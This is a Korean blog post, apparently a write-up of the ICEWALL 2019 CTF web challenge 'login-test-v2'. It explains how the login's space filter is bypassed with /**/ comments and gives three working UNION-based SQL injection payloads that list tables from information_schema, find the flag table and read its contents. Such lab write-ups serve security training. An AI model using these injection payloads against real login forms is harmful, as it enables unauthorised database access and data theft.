본문으로 바로가기

[Web] login-test-v2 / 200

category ICEWALL 2019. 7. 22. 03:35

http://icewall-ctf.kr:10000/

 

IST에서 진행된 챌린지 중 일부를 변형한 문제다.

https://github.com/DelspoN/ICEWALL/tree/master/2019/ICEWALL-Security-Training/ctf/login-test

 

간단한 SQL Injection이지만, 여기서는 플래그가 있는 테이블 이름을 모른다는 점 때문에 바로 접근할 수 없다. 위 repo의 set.sql을 보면 MySQL을 사용한다는 점을 알아낼 수 있으므로, information_schema.tables에서 모든 테이블 이름을 전부 긁어올 수 있다.

 

다만 간단한 SQL Injection (' or '1'='1) 을 시도하면 do not hack 메시지를 띄운다. 여러 시행착오를 거치면 공백을 필터링한다는 사실을 알아낼 수 있고, 공백을 전부 빈 주석으로 치환하면 필터링을 우회할 수 있다.

 

다음과 같은 쿼리를 패스워드에 넣어봤다. (id는 아무 값이나 들어가도 됨)

 

'union/**/select/**/table_name,table_schema/**/from/**/information_schema.tables/**/where/**/'1'='1

테이블 이름에 FLAG가 들어간다는 가정을 하고, like 조건을 추가해 테이블 이름을 검색했다.

 

'union/**/select/**/table_name,table_schema/**/from/**/information_schema.tables/**/where/**/table_name/**/like/**/'%flag%

이제 테이블에서 값을 읽어오면 된다.

 

'union/**/select/**/flag,'1'/**/from/**/flag_is_here/**/where/**/'1'='1

'ICEWALL' 카테고리의 다른 글

[Web] php-practice-v2 / 200  (0) 2019.07.22
[Web] resume2 / 150  (0) 2019.07.22
[Web] resume / 100  (0) 2019.07.22
[Forensic] backdoor / 200  (0) 2019.07.22
[Forensic] secret / 100  (0) 2019.07.22